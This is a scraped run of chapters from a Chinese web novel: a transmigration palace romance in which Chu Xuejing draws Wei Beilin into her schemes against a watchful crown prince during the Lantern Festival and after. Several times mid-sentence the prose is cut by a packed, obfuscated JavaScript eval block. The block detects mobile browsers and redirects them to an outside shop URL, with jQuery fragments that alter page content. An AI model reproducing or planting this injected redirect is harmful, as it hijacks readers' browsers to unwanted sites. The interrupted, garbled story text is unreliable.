他方才碎碎念了一路叫她们不要走散,可一进灯会就先买了最容易让人分不清脸的面具,也不知是真傻还是假傻。 “快快快!这里有表演杂耍的!” 褚朗踮着脚招呼着几人,褚雪镜无声叹了口气,加快了脚步。 “呜!” 人群中爆发出惊叹声,越来越多的人朝着他们的方向涌过来,褚雪镜被挤得踉跄两步,心中陡然升起一种不详的预感,一回头果然周边一个熟悉的人都不见。 无论是褚朗、褚玉霜还是青冬,就像凭空消失了一般不见人影。 褚雪镜:“……” 人潮如海浪忽涨忽退,褚雪镜恍若海浪上被来去推搡的船只,只能随着浪潮走。 但过于拥挤的环境反而容易引发她的旧病。褚雪镜尽量护住自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049878|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,压着喉间的痒意不耐地拧了拧眉。 “褚雪镜——!” 一只大手忽然抓住了她细弱的手腕,褚雪镜一惊,下意识抬腕挣脱,男人身上干净的皂角香却让她动作微顿,一袭高大的身影自她身后为她挡去汹涌的人潮,好似心脏也在这一刻因为这声呼唤暂停了一瞬。 “你没事吧?” 周围人如天上密星,一时半会儿很难从中挤出去。男人抿唇,犹豫着将女人揽在怀中,用臂膀隔开人//流,低声道:“冒犯了。” 褚雪镜被迫贴在他心口,冰凉的银面有些硌人,她几乎是抓住浮木一般拽住他的衣襟。 男人身上并没有熏香的味道,只有淡淡的、纯粹的皂角味,却比任何香料更能抚平她心中的躁气。 他宽大的掌心紧紧扣着自己的肩头,怦怦的心跳声近在她耳边。褚雪镜微微仰了仰下颌,瞥见他锋利的颌角、凸起的喉头,以及红透了的耳垂。 “卫北临。”褚雪镜叫他。 人多嘈杂,褚雪镜觉得自己的声音很小,几乎要淹没在欢叫声里,连她自己都听不见什么。身旁的男人却敏锐地垂首,将耳朵靠近她的红唇,“嗯?” 男人也戴了一张面具,是一只像黑铁捏的鬼首,堪堪挡住男人半张脸。 褚雪镜鬼使神差将原本想问他的话咽下,转而道:“你戴的什么面具?” 卫北临没想到她会问这个,怔愣一瞬才道:“黑鬼。” 他瞧灯会上大多数人都戴着,便也随手买了一个。一来戴上面具能遮掩两分特征,不至于一眼被认出来,二来入乡随俗,若是显得太有目的性反叫人怀疑。 褚雪镜颔了颔首,拉着他的衣缘将他拽近了些,道:“今日多谢,这是你第三次帮我了。” 少女温软的香气像蝴蝶一般轻轻落在他脸边、颈上、甚至唇角,卫北临克制不住地滚了下喉头,将她一把压进怀里,嘴上却道:“抱歉,我带你出去。” 前方灯谜、烟花和舞狮各占一头,是趁机逃出人堆的好时机。卫北临忽然垂眼看了她一眼,褚雪镜若有所觉,还未问出口便被他单手扣着腰搂了起来,双脚登时离地,她堪堪压住喉间的惊呼,指节胡乱抓住他的领口,转眼间便被他带进了一处空旷的小巷。 他、他一个纨绔子,为何臂力如此强劲? “褚、褚二小姐?” 男人有些慌张地盯着她的神色,她似乎被自己吓着了,眼睫被打湿,漂亮的眼睛泛着一层湿润的水光,手指还无意识地揪着自己的领口。 他不得不垂下颈项,轻声抿唇叫她,“褚二小姐?” 男人戴着面具的脸近在咫尺,褚雪镜倏地回神,松开紧攥的手指,轻垂下眼,“抱、抱歉。” 卫北临并未察觉出什么不对,有些羞赧地摸了摸自己的后颈,“方才事出紧急,我怕你跟不上我,所以才出此下策……” “我知道。”褚雪镜抬眼看他,却不见恼怒,“多谢你。” “没、没事。”这条巷子是条废巷,几乎不会有人来,卫北临偏头看了一眼巷外依旧热闹的景象,又垂眸看向寂静漆暗的墙边,开口道,“你那日说,今天有事要告诉我?” 男人似乎在逃避她,看天看地,目光始终不敢在她身上停留。褚雪镜轻笑一声,歪了歪头,竟是毫不留情面地挑明,“你为何不看着我?” 啊? 卫北临被问得心跳一紧,好像浑身血液都紧张地停止了流动。 他局促地将目光从墙角移回,眼皮耷拉着,却又无法回答女人的问题,只能抬眼看向她,睫毛却不听使唤般不停地抖动。 就算此时已然不像冬日那么冷,可仍然是寒霜遍地的时候,男人却清晰地感知到升腾的热意,直直蔓延到他的脖颈、耳垂、脸侧。 不用照镜子他都知道自己有多丢人。 “卫世子。” 男人下意识对上她的眼神。 “怎么每回你瞧我都像洪水猛兽一般,”褚雪镜柳眉轻蹙,缓缓上前一步,“是不是我给你惹了太多麻烦……” “不是!没有!”卫北临紧贴着冷墙,否认得极快,“不麻烦!我自愿的!” 即便如此,女人还是微垂下头,红唇紧抿,似是颇为愧疚。 “你…我…”他一时词穷,只得先干巴巴道,“我、我知道鸿玉坊那日,你在利用我。” 褚雪镜微顿,拥在氅里的手指无意识攥了攥。 “但我不介意,”男人认真地看着她,嗓音很轻,似乎是怕吓着她,“我知道你是有苦衷,否则不会冒这么大的险。” “若、若是你有我帮得上忙的地方,我都可以。”他不敢看褚雪镜的眼睛,只能死死盯着她那只骨蝶面具上蜿蜒的纹路,“你不用费心思设计我,我……” 他“我”了半天没“我”出后文,褚雪镜却一言不发地又靠近两步,抬脸看着他。 卫北临抵着冷硬的砖头,女人虽没有说话,视线却像有一种魔力,让他很难不也垂眼望着她,下意识噤了声。 “我的绳带系得太紧,”她说,“卫世子帮我解一下吧。” 36.交融 她虽说的是让他帮忙,却用那双清泠的水眸望着他,像微凉的薄雾,无声引//诱着行人走进。 面具的绳带在她脑后,卫北临手指微抬,想让她转过身去,她却像读懂了他的意思,轻偏过脸垂首,露出脆弱皙白的玉颈和乌发上笨拙的结扣。 男人的指腹触碰上绳结,不免会拉扯到她的青丝。他小心看了看褚雪镜的神情,少女垂着眼皮,唇角微抿,鸦羽般的睫毛偶尔像翅翼一般颤动一下,他稍微侧身,努力将注意力放在她发后的绳结上。 他指节很粗,做这种精细的事情总是显得过分粗笨,又要强撑镇定费尽心思地做好,褚雪镜感觉到他在自己脑后专注地捣鼓着,但进度实在缓慢,不由轻声问:“你有带什么尖锐的东西吗?” 青冬在给她打结的时候她便猜测这小丫头下手只管系紧,完全想不到还要取下来这一茬,想来也不好解开。 卫北临微怔,“有一柄匕首,直接割开没关系吗?” 她轻轻“嗯”了一声,解释道:“有些闷。” 褚雪镜的身体有多脆弱他是见识过的,卫北临将匕首从腰间取下,拔出刀鞘,月光在刀刃上折射出一道冰幽的银光。 他抿唇,握紧了刀柄,“我要割了,你别动,不要伤到你。” 褚雪镜道:“好。” 他的担心实在多余,这柄匕首很锋利,只需轻轻一掠绳结便一崩而断,甚至没带下褚雪镜的一根发丝。 面具随之掉落,褚雪镜下意识抬手去接,掌心却碰触到一片滚烫。 卫北临像被刺了一下,手忙脚乱地将匕首收回,才把接住的面具递回到褚雪镜手中,“抱、抱歉。” 他对自己总是这样,从第一次见面就害羞得像个小孩,虽然在心里没少说她的坏话,可面对面时红透的耳廓和磕巴的语气却不是作假。 即便褚雪镜很不想承认,但她的确很喜欢卫北临对她露出这种情态——像是一种无法抑制的悸动,不受她的身份和她拥有的东西所限制,是纯粹的、只对她本身的欲//望。 “没关系。”褚雪镜面不改色地将面具收好,眸光落在少年一半紧张纯情一半却是阴面獠牙的脸上,轻笑道,“不用每次都说抱歉。” 两人站得很近,近到卫北临顶着月亮这般迷蒙的光也能看清少女乌密的眼睫。 褚雪镜是不是给他下蛊了,不然他为什么那么想贴近她,明明他们并没有那么熟识,明明…… 他控制着自己想退开,巷口忽然传来一阵喧闹,男女欢笑的声音逐渐清晰,他本能转身将褚雪镜挡在身后,她才取下面具,不能让别人认出他们。 “今宵有酒今宵醉!哈哈哈哈哈……” 脂粉香气混杂着酒味,女子的娇笑和虚浮的脚步声愈发靠近,听起来像花天酒地的醉鬼。 卫北临拧眉,正要伸手示意褚雪镜再往身后藏,小臂猝不及防被身后的人抓住。 他微惊回头,“你……” 握着他小臂的手轻拽了他一下,本在巷口的声音眼下已近在咫尺,卫北临被她拽至身前,少女抬眼似笑非笑地看着他,拉着他退到墙根。 她说:“别回头。” 几乎是她声音落下的瞬间,卫北临背后传来陌生男人醉意朦胧的声音,“哟,还是我们来得不巧了,打搅人家私会了哈哈哈哈…” 卫北临眸色微沉,忽地一手捧起身前人的脸颊,在她怔然的瞬间转按住她的后脑,让她抵在自己心口。 那醉鬼左拥右抱,嘴上说着打搅,实际仍在不依不饶,“哎这位兄台,你抱的这位美娇娘……” “滚开!”男人骤然怒道,他们只能瞥见男人的大掌紧紧扣在美娇娘颈上,剑眉冷竖,侧目露出半张罩着黑鬼面具的脸。 美娇娘则瑟缩在男人宽阔的胸膛上,脸埋在他襟前,瞧不清模样,唯有那只纤纤玉手轻轻发着抖,却倔强地攥着男人的玄衣,像是被吓得不轻。 看着倒真像是在私会。 “李公子,咱们换个去处如何?奴家在环乐坊知道有个地方,”醉鬼身边的紫衣女子轻巧地用丝帕抚了抚醉鬼鬓边,娇声道,“哎呀,今日可是上元节,咱们别坏了人家的好事,嗯?” “是呀李公子,”另一边的红衣女子也是个有眼力见的,立马帮衬着小声道,“若是不小心冲撞了贵人就不好了。” 醉鬼本就神志不清,被男人的气势一震已然失了继续纠缠的勇气,闻言脑子竟诡异地清明了几分。 他不过是一个有点家底的商贾,然眼前这男人虽然只穿了一件玄衣,但周身气度和穿着打扮显然并非寻常人,恐怕是哪家达官显贵乔装寻乐子的,他倒好,酒劲上来了还敢当面挑衅,改天脑袋为什么掉了都不知道。 他讪讪笑了两声,打着哈哈道:“好好,是在下有眼不识泰山了,我们换个地方、换个地方!阁下随意!” 男人不置一词,李乔却从中暗察出几分不耐,估计是被他打搅了好事欲//求不满,手疾眼快地拉着一左一右的女人离开。 三人的脚步声离去,暗巷中又重新恢复到寂静。 女人身上的香气宛若软骨香叫人酥麻迷醉,卫北临屏息凝神不敢迷恋逗留,率先松开压着女人后颈的手掌,下意识要张口解释,唇上却忽然被柔软的指腹抚住。 她知道他要说什么,“不必说。” 褚雪镜的脊背靠在冷硬的墙上,柔若无骨的手轻轻划过他的面容,指尖顺着他颌边的棱角,就像他方才短暂地捧起她的脸一般捧着他的,另一只手悄无声息地抚上他的颈后,压着他垂首,几乎要让他抵上自己的鼻尖。 两人的呼吸交融在一起,双唇间只有两指之隔。 她要做什么! 卫北临瞳孔微缩,他不是说了可以帮她、自愿帮她了吗?为什么还要…! 他应该立马挣脱她的束缚的,毕竟女人体弱多病,他只消轻轻一挣就能甩掉她贴在自己颈上的手,然后离她远远的…… 可身体好像不听使唤一般,他觉得自己的心跳得很快,好似本身就在期待着发生什么,可是他们又能发生什么?以什么样的身份去做这样的事情?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064897|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “褚…”他莫名感到心慌,眼底因为精神紧绷渗出一点红,手掌不知什么时候已经攥住了女人细瘦的腕骨,他想说点什么警斥褚雪镜,喉咙却也像失去了掌控权,发出的声音暗哑得令人心惊,“别…” 女人忽然踮起脚,温热的唇似有若无地擦过他的下颌,嗓音轻到要听不见,“有人在看。” 四个字像是一记警钟,卫北临眼神一闪,凤眼中还有强忍出来泛红的水润,他将女人抵回墙角,宽大的身形轻松把她罩在阴影中,身影相叠,恍若一人。 无论从何种角度,只能看见他们举止亲密无间,男人小麦色的大掌还握着女人皙白的手腕,他微偏着头,像是在亲吻她的唇,又像是在她的肩颈流连。 如此血脉偾张的景象任谁看了都不禁面红耳赤,更别说偶尔还能听见女子口中溢出的难耐的呻//吟。 寒月之下,春色无边。 …… “为什么?”卫北临压低声音,扣着她的腰顺势将两人的身影隐进墙角的黑暗中,“是谁?” 显然褚雪镜是为做戏,卫北临意识到今日之举恐怕和鸿玉坊那日意图相似,便随她演了下去。 可为什么褚雪镜总是被人监视?目的呢?她又为何屡屡要用与他亲密来躲避这种监视? 他蓦然想起除夕夜宴的那桩诬局。 “鸿玉坊那日,我没有和你说实话。”褚雪镜削葱般的指节勾着他的后颈,她和他的胸膛紧贴着,她能清晰地感知到男人月匈前石更邦邦的肌肉,男人滚烫的气息不断侵略着她,她只能尽力稳住自己的声线,“我、我不想嫁予太子,可……” 卫北临喉头微紧,“是他监视你?” 女人轻垂着眼,微不可察地点了点头。 X他大爷! 卫北临只觉得怒气上涌,褚雪镜本来就身体弱,还这样折腾她,真他傻缺的不是人! 就这品行败坏的傻缺也能当男主?! 他有些气急,眼尾的红痕更甚,忽地用力将褚雪镜抱进了怀里。 褚雪镜惊声微露,下意识攀住他的肩头,男人起伏的胸膛和她拥着,她轻蹙了下眉头,用气声叫他,“卫世子?” 她还没说完呢,怎么突然这么激动? 男人掌心下握着她瘦削的肩骨,隐隐能感觉到她微弱的心跳。 原著里从不吝啬对褚雪镜作恶的描写,不断向读者强调她是多么不择手段、多么愚蠢恶毒,可从来没提过她受到的压迫和屈辱。 不仅如此,还要用她的痛苦去衬托男女主是世间唯爱,而她作为男女主爱情路上最大的绊脚石,结局就是命丧成亲当日。 可如果这一切都不是她自愿的呢? 如果她故意骗他,那她和傅子娴说的话呢?她根本不知道自己会知道,如何会说谎? 褚雪镜察觉到男人的心跳变得有些急促,正想推开他一些,便听男人压抑的声音传来,“要我做什么都可以,褚雪镜。” 她身形一僵,几乎有些不可置信。 卫北临,哭了? 37.入局 褚雪镜从来都知道自己长了一副好皮相,而她亦从不吝于去利用这副皮相来达到自己的目的。 卫北临此人,虽来自外世,心思却比他们这里的寻常官宦之子好懂得多,更别说褚雪镜能听见他的心声,他心里那点自己还未察觉的动心,在褚雪镜面前早就暴露得一览无遗。 但这远远不够。 他心性纯良不假,可他并不是十足的蠢人,要让卫北临完全为她所用,她只能循序渐进、步步为饵,方能真正诱他入局。 鸿玉坊一见,便是褚雪镜的第一计。 她有意在男人变成猫的时候透露自己的行踪,卫北临自书外“远道”而来,举目无亲,唯一能牵动他心绪的,只有书中的角色和剧情,所以褚雪镜又故意提到了萧胤玦、他眼中的男主,便可笃定,他一定会追她而去。 果然,卫北临如预料般寻来。 鸿玉坊之事,她要查萧胤玦为其一,借卫北临转移萧胤玦注意力为其二,放长线钓卫世子为其三。 而萧胤玦也不负所望,终于将矛头转向卫北临,自此,这位穿进书本的旁观者,便是真正入局。 于是除夕夜宴,褚雪镜又借侯府与萧胤玦的阴谋,给卫北临下了第二记猛药。 她要他怜她、在意她、心疼她。 最好爱她。 这样他更心甘情愿被她利用,而她才能万无一失。 因此,今日之见,是为第三计。 那日忠远侯府祠堂走水,救下娴和是意外,娴和拆穿她所为目的亦是意外,却不是坏事。 毕竟即便从前的卫世子同褚朗是好友,她却与其素不相识,接二连三的求助,即便卫北临心软如斯,也必定会怀疑她的动机。 娴和无意挑明,而他又恰好以猫身在场,却是完美全了卫北临心中剩余的那点疑怪猜测。 巧在除夕夜宴梅园相谈,她并未多言,只请卫北临能在上元节之日帮她一次。 她和娴和的交谈分明“暴露”了她所想,卫北临在明知她是为利用他的前提下,却还是如约相赴—— 单纯的利用远比旁的理由更令他容易接受。 再加上他逐渐发现书中内容与实际相悖,心中不知不觉滋生出的对她的愧疚与爱怜无声积攒着,她只消随意勾勾手指,他就能瞬间沦陷。 只是她没料到,卫北临竟然会哭。 俗话说,男子汉大丈夫,流血不流泪…… 褚雪镜轻轻捧着男人的下颌,他耷拉着眼皮,睫毛被泪水濡湿,嘴唇也哭得红润润的,却又不想让褚雪镜看见他这副没出息的模样,偏了下头,瞧起来倒像是褚雪镜欺负了他一般。 偏生扭头也不敢幅度过大,胸膛轻微起伏着,还有两分乖巧的委屈,像只可怜的小流浪狗。 褚雪镜指腹微微擦过他脸颊上未落的泪珠,这倒是她平生第一次见到一个男人在她面前哭成这样,不由心软了些,“别哭了。” 她体贴地不去问他原因,两人心照不宣。 卫北临抿了下唇,低着头在她耳边小声道:“你、你有什么计划么?” 他知道褚雪镜费尽心思地让他出来,不会只是为了说这一句。 “萧胤玦的眼线无处不在,”褚雪镜抬眼看向他,男人刚哭过,一双凤眼泛着薄红,眼中还有未散的水润,水光泠泠地望着她,已然没有从前的警惕,她声音更轻柔了些,“你我这般,他必然勃然大怒,极有可能会迁怒于你。” 迁怒他便迁怒他了,反正他也看那傻缺男主不爽,更何况除夕夜宴萧胤玦不是已经迁怒过了么?当着皇帝的面做那么大一场戏,就为了让他本就恶糟的名声雪上加霜,还以为有多大能耐呢…… 卫北临忽然想到什么,眉眼间生出几分戾气,“那你呢?” 事到如今,萧胤玦已经不是原书中那个光风霁月的男主了,而且,除夕夜宴他可不只是做局这么简单。 让他莫名其妙昏睡的毒,多半也是萧胤玦做的。 这样一个工于心计的太子,若是要强占一个臣子之女,摘清自己的办法有很多种,褚雪镜无权无势如何能抵御呢? 指望忠远侯么? 卫北临不免忆起偏殿那日见到的中年人,老奸巨猾虚与委蛇,别说让他帮褚雪镜摆脱太子了,恐怕他反而乐见其成。 “我……”褚雪镜犹豫道,“我不知他为何执拗于我,但若是他对我有所求,至少不会危及我性命。” 这话听起来着实有些凉薄,褚雪镜手落在男人肩上,接着道:“你是镇北王世子,他便是对你不满,也不敢做什么的。” 那你利用我,便是因为镇北王世子这个身份吗? 卫北临被自己陡然冒出的想法一惊,褚雪镜利用他他生不出不满也就罢了,怎么还质疑上自己了?! “卫世子,”褚雪镜攥了攥指节,眸中流露出几分愧疚,“你是个好人,我很感激你愿意帮我,只是……” 卫北临垂眼看着她,“只是什么?” “只是我不知该如何报答你,”她似乎有些羞赧,长睫不受控制地抖了抖,“我……” “无碍。”即便他和褚朗曾当着褚雪镜的面闹过龃龉,他还是毫无心里负担地搬出以往的说辞,“你是褚朗的妹妹,便、便也是我的妹妹,不必说这些。” 好一个好友的妹妹就是他的妹妹。卫北临嘴一秃噜什么都说的出口,连妹妹都认上了。 自己说话不过大脑,却已挽救不及,只能暗暗咬牙,硬着头皮去看褚雪镜的神色。 褚雪镜只轻轻摇了摇头,“再如何,我也害你身陷诬局,险些丢了名声,更何况……” 她目光落在自己搭在男人肩上的柔夷上,他还扣着自己的腰。 卫北临显然也注意到这一点,原本因她直言而散去的旖旎氛围似乎又悄然复生,可眼下松开也不是抱着也不是,瞬间掌心似乎都滚烫起来。 “更何况你为了帮我牺牲了许多,”褚雪镜眼神真诚,眸光盈盈,并无别念,“无论如何我都应该感谢你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是又如何,不是又如何?”褚雪镜丝毫不掩饰她对萧胤玦的厌恶,“殿下看了这么久还不满意吗?” 明明半月前在坤宁宫她还不是这般,萧胤玦竭力压着自己的怒意,双眼却因为压抑泛出猩红。他松开钳制女人下颌的手,转而抓住她的肩膀,手背青筋暴起,“你告诉孤,为什么要这样做?!” 男人的力气很大,大到她的肩骨都像要被捏碎了。褚雪镜垂眼不去看他,也不说话,男人猩红的双目定定看了她许久,忽然道:“你是为了气孤,对不对?” 从前褚雪镜不与他亲近,所以他谋计百出,好不容易求得她甘愿唤他一声“太子哥哥”,却因为一个莫名其妙的人又要弃他而去。 为什么?!卫北临那个纨绔子到底有什么好的?! 为什么他处心积虑谋划的一切,卫北临都能不费吹灰之力地夺走?! 皇帝的宠爱是这样、如今褚雪镜的爱也是这样。 到底凭什么?! 38.待补 疯子。 女人的瞳色在黑暗中更显黝黑,却是毫无波澜,冷漠地看着男人歇斯底里。 现在倒是作得一副情深如许的模样了,前世她满心信任他的时候,他又是如何对她的呢? 眼下她不过是稍微脱离了他的掌控,他便无法忍受,本已是囊中之物的雀儿被他人横刀夺爱,就足以让这位向来以温润君子为美名的太子殿下如此癫狂,那么,相对于前世她顺应着他们的计划步步走进他们的陷阱,今后,他们又会使出什么计策,好让她继续“心甘情愿”当他们的笼中鸟呢? 她拭目以待。 …… “阿云,”女人的冷漠置之让他的怒气像是一个笑话,萧胤玦深吸一口气,扯出一个笑,“你心里还有我,对吗?” 这是他第二次问褚雪镜这个问题了,第一次在围炉宴上昏暗的后殿中,那时褚雪镜胆战心惊地跪着,眼中含泪,但至少他还能肯定她对自己尚有感情,可如今他却无法笃定—— 她与那姓卫的纨绔一次又一次遇见,一次比一次亲近,他心知肚明,却自负他与褚雪镜情意非一朝一夕可比,便放任出这等下场…… 可是谁不好,偏偏要是卫北临! “除夕夜你对我还不是这般,”许是褚雪镜面上的抗拒太刺眼,萧胤玦缓缓松开她的肩,转而顺着她的手臂而下握住她的纤手,竟有两分小意讨好,“是因为我这半月不曾去看望你,还是……?” 他虽没能和她见面,送去的礼物和书信却不少,只是褚雪镜几乎都一并回绝,回信只说金陵流言蜚语害人,不欲无由收礼。 可惜即便他对她的态度转变有所察觉,但朝中事务将他缠得分不开身,更何况严峰被刺杀一案景仁帝追查得紧…… “你应知晓我心意,眼下时机未到,待过些时日,我便向父皇请求给你我二人赐婚,”萧胤玦合握着她的手,好像是抓住了什么救命稻草,“你与卫北临的事,我可以当不知道,是这阵子我忽略了你,你才……” “殿下。”她倏地出声,似是有所松动,萧胤玦希冀地抬眼看向她,然而女人仍旧面无表情,并不像要同他重归旧好。 “这些日子,臣女想了许多。”她嗓音淡淡,神色平静,言辞间皆是疏离,让萧胤玦心中莫名觉得恐慌,“臣女不记得九岁前的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128244|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但近来梦中总能忆起一些往事的碎片……虽不完全,但臣女能肯定,不是太子殿下。” 此话一出,男人仿佛被定住一般,浑身血液发凉。 褚雪镜……想起来了? …… 做梦之言其实是褚雪镜杜撰,自她重生后,她便时不时会梦到一些前世的事,有时的确会穿插一些她消失的幼时记忆,但实在模糊,清醒之后几乎很难回想起来。 但仅借这点,足以让背后之人自乱阵脚。 “雪镜!”褚朗从不远处大步奔来,拉着她就先上上下下打量了一番,“你跑哪去了?急死我了!” 他身后跟着钗头微乱的褚玉霜,以及灰头土脸的青冬。 褚雪镜弯唇安抚道:“被人//流挤散罢了,没什么事。” 她瞧起来脸色有些苍白,但并没有其他症状,褚朗悬着的心总算落下,还没再唠叨两句,便见褚雪镜朝他身后招了招手。 下一瞬,方才还恶狼一样黑着脸的小乞丐嘴巴一撇,眼眶红红地小兔子般扑进褚雪镜怀里,好不委屈。 褚朗:? 这死丫头还有两幅面孔呢? 39.。 “你发什么呆呢?”褚朗抬肩撞了他一下,狐疑地斜眼睨他,“我怎么感觉你今天怪怪的。” 卫北临慢半拍动了动眼瞳,摸了摸自己的后颈,“怪帅的是吧?” 褚朗:“……”脑子掉你二姨家了吧? 今日上元,褚朗总算是等到能光明正大同他那些狐朋好友鬼混的日子,结果他因着家中事姗姗来迟也罢了,连平日最爱喝酒耍混的卫北临也魂不守舍的,平白失了不少乐趣。 “卫抚燕怕是念着家里的美娇娘吧?”席间有人调笑道,“你不知道他方才来的时候,下巴上还有姑娘的口脂呢!哈哈哈哈哈……” 那人叫着卫北临的字,言谈间却不给他留面子,引得旁人跟着起哄,哄吵着的话不堪下//流,极为刺耳。 哈?卫北临现在背着他玩这么花? 这场宴席上褚朗熟悉的只有几人,但碍于邀约不得不出席。他神色愈发震惊,自年前他同卫北临吃多了酒挨罚之后,忠远侯就勒令他少与卫北临打交道,此前除了褚玉霜归府那日他是真正出府和卫北临畅谈外,之后再见都是席宴之上,不曾想他早已破了“斋戒”,竟也贪图起美色来了。 “我已说了不是口脂,”卫北临剑眉拧着,他心中已有些不悦和不耐,偏偏不能表露太明显,“慎言,莫要毁我清誉。” “哟哟哟还害羞上了?”那人大笑,显然不把他的警告放在眼里,懒趴趴地斜倚着圈椅,衣衫松垮地挂着,身边美姬环绕,“怜馨,你去,给卫世子敬杯酒。” 他身边侍奉的一粉衣女子闻言柔柔应了一声,玉手捧上小壶,盈盈朝卫北临的方向走去。 使唤人的男人是郑国公府嫡次子郑牧驰——郑牧驰的哥哥郑牧骄自幼被当做国公府继承人培养,而他这个二子无甚有用,放养之下渐渐变得荤素不忌,常年流连烟花柳巷,即便娶了夫人也不知悔改。 若说褚朗,卫北临还能理解原主同他交好的原因——毕竟褚朗虽说吃喝玩乐样样不落,胜在是个傻的,除了真玩乐之外其余一律不碰,但这一席的人就很难说了,特别是主办席宴的郑牧驰。 据好福说,郑牧驰离开金陵前是原主最为、也是最想交好的人,因此郑牧驰才从沧州回来就迫不及待宴请从前玩得好的兄弟们,原主赫然在列。 “卫世子,奴为您斟酒。” 女人身上萦绕着淡淡的清香,并不刺鼻,卫北临却像被踩了脚的猫倏地起身让了开,连衣缘都没挨到女子,太阳穴已隐隐暴出青筋,“郑副使,某今日不欲饮酒,劳副使叫她退下。” 郑牧驰虽是个纨绔,却是国公府的纨绔,要物色一门闲差简单得很,现如今便在户部甲字库做副使。 “卫抚燕,何必这么扫兴呢?”郑牧驰支着脑袋,好整以暇地打量着面露愠色的男人,纵//欲过度的脸上假模假样地抛出一点可惜,“我可是瞧你好不容易开窍才支了这么个美人给你,你还不领情?” 卫北临眸色晦暗地看向郑牧驰,郑牧驰看起来一副风流无所忌的作态,长眸中却有着并未褪去的试探,倒又不像传闻中听到的那么好对付。 “疾远便莫要为难卫世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139823|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子了,”宴上有人突兀开口,习以为常地叫着郑牧驰的字,将将打破三人生硬的僵局,“人卫世子可是除夕夜宴上当着陛下的面立了誓的,此生唯爱一人呢。” 话落又是一阵哄笑。 当今陛下“宠”着这位卫世子,满金陵无人不知无人不晓,可偏偏这卫世子长居金陵实为质子,亦是人尽皆知,便是他父亲还在沙场上血战,也不妨碍他们拿卫北临取乐。 卫北临无声攥紧拳头,好福和好运都不在他身边,但提起这茬的男人他却是已经认得了—— 萧胤玦办围炉煮酒那日他也在,席间说过两句话,好福提过一嘴说他是定国公长子温桦。 原主貌似和他没有什么交集,但卫北临直觉,这人对他没有敌意,两次开口其实都是以戏谑的语调帮他解围。 温桦…… 他记得宫中的皇后名叫温华锦,他们二人……? 卫北临淡淡看了温桦一眼,温桦唰地抖开折扇以扇掩面,只露出一双微垂下的桃花笑眼。 “哦?当着陛下的面承诺唯爱一人?”郑牧驰像是被提起了兴趣,饶有兴味地问道,“真有此事?” 除夕夜宴才发生的事,自然没人健忘到不记得,纷纷说是,郑牧驰从圈椅上直起身,抬手招呼着怜馨回去,“还站那做什么?没听见人卫世子要为了未来的世子妃守身如玉么?哪还轮得到你啊?回来服侍爷吧。” 怜馨稀奇地偷瞄了瞄卫北临,主子说什么就是什么,只是没想到这纨绔聚宴上还有如此贞洁烈男,遂福了福身又回到郑牧驰身边。 40.贴吻 【当纨绔好难。】 卫北临宛如一条失去梦想的咸鱼,生无可恋地揣着猫爪趴在褚雪镜膝上,甚至连水润的猫眼都失去了光泽,【再也不要当纨绔了。】 这是受什么打击了难受成这样?褚雪镜捋了一把他耷拉下的猫耳,抬眼望了望紧闭的房门。 青冬去了有一阵了,她做事向来利索,怎么还未回来? 【我讨厌郑牧驰,像神经病一样。】卫北临两眼放空,有一种耗尽精力的疲惫,【偏偏还要和这种人交好,事情结束之后我都可以去竞选奥斯卡影帝了。】 他之后想了什么褚雪镜已经无心去听,“郑牧驰”三个字像是一记阴毒的诅咒叫她如遭雷击,怔愣在原地。 郑牧驰回金陵了?! 是了,沧州知府入金陵述职却身亡,郑牧驰就算在沧州再流连忘返,恐怕也无法再安生在沧州继续待下去了。 只是她没料到,他竟会回来的如此之快。 